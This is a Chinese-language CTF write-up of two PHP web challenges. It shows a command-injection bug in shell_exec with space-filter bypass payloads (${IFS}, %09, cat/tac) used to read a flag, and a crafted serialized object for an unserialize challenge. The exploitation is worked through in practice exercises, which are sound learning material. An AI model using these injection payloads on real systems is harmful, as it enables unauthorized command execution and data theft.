打开界面看见if选项admin=1果断想到用burp抓包然后cookie给admin=1,获取下一步指令
然后url访问,
<?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/ /", $ip)){
die('nonono');
}
$a = shell_exec($ip);
echo $a;
}
?>
获取到这一串的代码在网页上给,我们直接看第一个if首先判断url是否为空,然后把url的值给了ip,判断ip中是否出现 / /如果出现直接退出,shell是命令执行,绕过空格传入url=ls${IFS},就出现了文件的名字然后看见flag
cat抓取flag,然后%09是为了过滤空格, 这就是为什么不能直接cat 文件名的原因
?url=cat${IFS}/f*也实现了过滤空格,${IFS},cat换成tac一样的功能,结束楼
[SWPUCTF 2021 新生赛]ez_unserialize
打开界面有点小蒙,因为是unserialize题相到了,试一下robots.txt
看见已个php直接访问,然后因为这是一道反序列化的题
对wllm类序列化得: O:4:"wllm":2:{s:5:"admin";s:6:"passwd";}
O表示是一个对象 4对象的长度 2 两个变量
应传入 O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";} 得到flag。赋值